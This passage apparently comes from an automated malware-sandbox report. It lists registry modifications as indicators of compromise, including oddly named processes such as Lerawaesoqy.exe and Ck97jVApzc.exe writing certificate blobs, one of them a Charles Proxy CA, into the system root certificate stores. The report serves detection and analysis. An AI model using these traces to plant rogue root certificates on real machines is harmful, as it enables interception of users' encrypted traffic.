Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2451 = "Saint Pierre Daylight Time" app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time" app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-11 = "Azores Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time" app.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2062 = "North Korea Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1722 = "Libya Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-448 = "Azerbaijan Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1662 = "Bahia Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1821 = "Russia TZ 1 Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2571 = "Turks and Caicos Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2392 = "Aleutian Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2391 = "Aleutian Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1891 = "Russia TZ 3 Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-842 = "Argentina Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time" app.exe -
Modifies registry class 64 IoCs
description ioc Process Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\SignaturePolicy = 06000000 IVStreamer.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TabbedBrowsing\NewTabPage MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\DatabaseComplete = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\DeviceId = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\ACGPolicyState = "8" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Privacy\InProgressFlags = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Toolbar\WebBrowser MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation MicrosoftEdge.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{WW6060MI-ED3Y-MI7M-57W2-EJZ5M77G1X0K} svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\JumpListFirstRun = "3" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 1c33d0eb9d3ad701 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\PrivacyAdvanced = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DXFeatureLevel = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{QJ2559JN-BF7A-LM2A-20M4-JBF9M43Q7G3S}\1 = "5256" svchost.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus\DynamicCodePolicy = 00000000 MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore MicrosoftEdge.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{EL1681II-FO1F-AN2G-81K3-DNI5R86H5R6K}\1 = "25" Conhost.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\Active MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\CIPolicyState = "0" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionHigh = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OnlineHistory MicrosoftEdgeCP.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{EL1681II-FO1F-AN2G-81K3-DNI5R86H5R6K} Conhost.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = e79fe0fe9d3ad701 MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 02807404a03ad701 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Toolbar MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify. = 01000000ae569b3ab8d26497a04a1c7afb1e6af5d6ed13ad4c9d8c0ddd3a30092b5ecc643700533523f6dd6c78805091c29d0c2fb511d6ac4151b38057bfcfeb36f15659cae6d7988b62234326db83c47ee17d33daea46c97274b0e45f9c MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Privacy\InProgressFlags = "262144" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\TypedUrlsComplete = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\New Windows MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\LowRegistry MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionHigh = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VersionHigh = "0" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History\CachePrefix = "Visited:" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath\dummySetting = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\Favorites MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify. = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\ReadingStorePending = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\Active = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\ChromeMigration MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingDelete MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\SignaturePolicy = 06000000 MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" MicrosoftEdgeCP.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{QJ2559JN-BF7A-LM2A-20M4-JBF9M43Q7G3S} svchost.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings 9E8A.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\SyncIEFirstTimeFullScan = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CacheLimit = "1" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VersionLow = "0" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore\LastCleanup = 0bdcb0f19d3ad701 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionLow = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListDOSTime = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\CIPolicyState = "0" IVStreamer.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionHigh = "268435456" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingDelete\C:\Users\Admin\AppData\Local\Packag = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode\SettingsVersion = "2" MicrosoftEdge.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 Lerawaesoqy.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e Lerawaesoqy.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6C0CE2DD0584C47CAC18839F14055F19FA270CDD Ck97jVApzc.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6C0CE2DD0584C47CAC18839F14055F19FA270CDD\Blob = 0300000001000000140000006c0ce2dd0584c47cac18839f14055f19fa270cdd2000000001000000500500003082054c30820434a0030201020206016de34cff62300d06092a864886f70d01010b05003081aa313b303906035504030c32436861726c65732050726f78792043412028313920e58d81e69c8820323031392c204445534b544f502d424e41543131552931253023060355040b0c1c68747470733a2f2f636861726c657370726f78792e636f6d2f73736c3111300f060355040a0c08584b3732204c74643111300f06035504070c084175636b6c616e643111300f06035504080c084175636b6c616e64310b3009060355040613024e5a301e170d3030303130313030303030305a170d3438313231353039313533375a3081aa313b303906035504030c32436861726c65732050726f78792043412028313920e58d81e69c8820323031392c204445534b544f502d424e41543131552931253023060355040b0c1c68747470733a2f2f636861726c657370726f78792e636f6d2f73736c3111300f060355040a0c08584b3732204c74643111300f06035504070c084175636b6c616e643111300f06035504080c084175636b6c616e64310b3009060355040613024e5a30820122300d06092a864886f70d01010105000382010f003082010a0282010100ae86c5043ed34d99f44fa3052ea34047a7fbbe33188b1dc2ca645ca3249e85e54b4921d4998fda6a22247c32d9087d742af3bf850803ae8c1e25faad53fb8fd823b7353d9a3ac992bf917f693826c790e53a540b120b6553508ec9585e467d310bd3ef9fb61731deb522eb78f43f824b34be36782db7a8cb162cd22247b14e4c5ae633ed66542354a59971bddc59160ecdc521b4477c93ca9e624e0af00298602300f5dc368819c3cb9f02604636888276b3a498570473b5328b0834f327c34285e333da9207e12f0edbb654c8cf11e3cc7cba17a52cd7cd42c10ae095a2e4eb9d3e3f361488243f0584af40e72d6e6e182149bfb8342384f60f12e14734258d0203010001a382017430820170300f0603551d130101ff040530030101ff3082012c06096086480186f842010d0482011d138201195468697320526f6f74206365727469666963617465207761732067656e65726174656420627920436861726c65732050726f787920666f722053534c2050726f7879696e672e20496620746869732063657274696669636174652069732070617274206f66206120636572746966696361746520636861696e2c2074686973206d65616e73207468617420796f752772652062726f7773696e67207468726f75676820436861726c65732050726f787920776974682053534c2050726f7879696e6720656e61626c656420666f72207468697320776562736974652e20506c656173652073656520687474703a2f2f636861726c657370726f78792e636f6d2f73736c20666f72206d6f726520696e666f726d6174696f6e2e300e0603551d0f0101ff040403020204301d0603551d0e04160414f8d0dc54367cf794020f8b92783a5d8a91251f9f300d06092a864886f70d01010b05000382010100662271eb9d5c744c88382de98ba37320e6312104d04273a92007a8670976d6530e6347d00bbded1319bb6754f36237596095922911e3661a70354f6ba0b797a76258be7adebb8c8dbeeed977760b80271d74b2444d92f6c1337a379b73545b251de5f8812b9625abbbfaedc15f8c6c374b9b26dd0fef035185f5899d8819e689dc6db5f0babbfd637c52b1bec80115b889faeed493d4112d744954ad3abe6607c41a4a2d657ba330ed131fa4e8c25bb28ee181dcef8da91c17bfd30a23c8eae81b152ed85ff938afc32b34ffdaffbdb72d9bb04067bfc87f579eba9637b165ea008ea7408bc8265f33c039bf60f506d245a6b53017afc8e161d70ed5b0d76576 Ck97jVApzc.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 4112 PING.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
